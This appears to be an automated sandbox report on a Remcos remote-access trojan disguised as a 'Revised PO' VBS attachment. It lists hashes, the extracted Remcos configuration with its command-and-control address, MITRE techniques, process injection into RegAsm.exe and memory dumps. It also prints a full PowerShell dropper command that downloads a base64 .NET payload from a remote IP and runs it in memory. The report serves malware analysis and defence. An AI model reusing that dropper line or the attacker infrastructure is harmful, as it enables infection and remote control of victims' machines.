remcos | 613e915495416480491da381cc5e2041cfb0778c420b33c212a00722b15867e2

General

Target

Revised PO-2022091803____________________________.vbs
Size

616KB
MD5

531d48ee259f8728f2713676002f9bfe
SHA1

47b7e7516490fbc50d2a97682d2e60989538fd07
SHA256

613e915495416480491da381cc5e2041cfb0778c420b33c212a00722b15867e2
SHA512

91bb0131f6e6fcedbd615eefb8cb4091174538588c7227d3a169708cb0592a6efee6fe43e8a1a54fc3e0076ef10133d439776d6ebcee215ce7a8069f0c6cc6b3
SSDEEP

192:hmKZ++C+Hm+5+E+/+S+u+a+2+J+Ca+I+Y+I+L+V+v+74+B+r+Y+c+Zc+w+Ife+qC:gcgZS

Score

10^/10

remcos starmoneynew rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://20.7.14.99/bug/dll_nostartup

Extracted

Family

remcos

Botnet

StarMoneyNew

C2

185.252.178.35:41900

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-6RGOTF
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
Remcos
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Blocklisted process makes network request 4 IoCs

Processes:

powershell.exe

flow pid process

5 1840 powershell.exe
11 1840 powershell.exe
14 1840 powershell.exe
16 1840 powershell.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

WScript.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation WScript.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 1840 set thread context of 2600 1840 powershell.exe RegAsm.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exe

pid process

1840 powershell.exe
1840 powershell.exe
1840 powershell.exe
1840 powershell.exe
1840 powershell.exe
1840 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1840 powershell.exe

flow	pid	process
5	1840	powershell.exe
11	1840	powershell.exe
14	1840	powershell.exe
16	1840	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	WScript.exe

description	pid	process	target process
PID 1840 set thread context of 2600	1840	powershell.exe	RegAsm.exe

pid	process
1840	powershell.exe
1840	powershell.exe
1840	powershell.exe
1840	powershell.exe
1840	powershell.exe
1840	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1840	powershell.exe

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

WScript.exepowershell.exe

description	pid	process	target process
PID 2280 wrote to memory of 1840	2280	WScript.exe	powershell.exe
PID 2280 wrote to memory of 1840	2280	WScript.exe	powershell.exe
PID 1840 wrote to memory of 3152	1840	powershell.exe	RegAsm.exe
PID 1840 wrote to memory of 3152	1840	powershell.exe	RegAsm.exe
PID 1840 wrote to memory of 3152	1840	powershell.exe	RegAsm.exe
PID 1840 wrote to memory of 4468	1840	powershell.exe	RegAsm.exe
PID 1840 wrote to memory of 4468	1840	powershell.exe	RegAsm.exe
PID 1840 wrote to memory of 4468	1840	powershell.exe	RegAsm.exe
PID 1840 wrote to memory of 2600	1840	powershell.exe	RegAsm.exe
PID 1840 wrote to memory of 2600	1840	powershell.exe	RegAsm.exe
PID 1840 wrote to memory of 2600	1840	powershell.exe	RegAsm.exe
PID 1840 wrote to memory of 2600	1840	powershell.exe	RegAsm.exe
PID 1840 wrote to memory of 2600	1840	powershell.exe	RegAsm.exe
PID 1840 wrote to memory of 2600	1840	powershell.exe	RegAsm.exe
PID 1840 wrote to memory of 2600	1840	powershell.exe	RegAsm.exe
PID 1840 wrote to memory of 2600	1840	powershell.exe	RegAsm.exe
PID 1840 wrote to memory of 2600	1840	powershell.exe	RegAsm.exe
PID 1840 wrote to memory of 2600	1840	powershell.exe	RegAsm.exe
PID 1840 wrote to memory of 2600	1840	powershell.exe	RegAsm.exe
PID 1840 wrote to memory of 2600	1840	powershell.exe	RegAsm.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Revised PO-2022091803____________________________.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2280

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('http://20.7.14.99/bug/dll_nostartup'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('txt.lkghgjhgkjgfgytrtrts/42.021.871.591//:ptth'))
2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1840

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:3152

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:4468

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:2600

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/1840-132-0x0000000000000000-mapping.dmp

Download
memory/1840-133-0x000002096FFE0000-0x0000020970002000-memory.dmp

Filesize
136KB

Download
memory/1840-134-0x00007FFA07300000-0x00007FFA07DC1000-memory.dmp

Filesize
10.8MB

Download
memory/1840-137-0x00007FFA07300000-0x00007FFA07DC1000-memory.dmp

Filesize
10.8MB

Download
memory/2600-135-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2600-136-0x00000000004327A4-mapping.dmp

Download
memory/2600-138-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2600-139-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2600-141-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2600-142-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads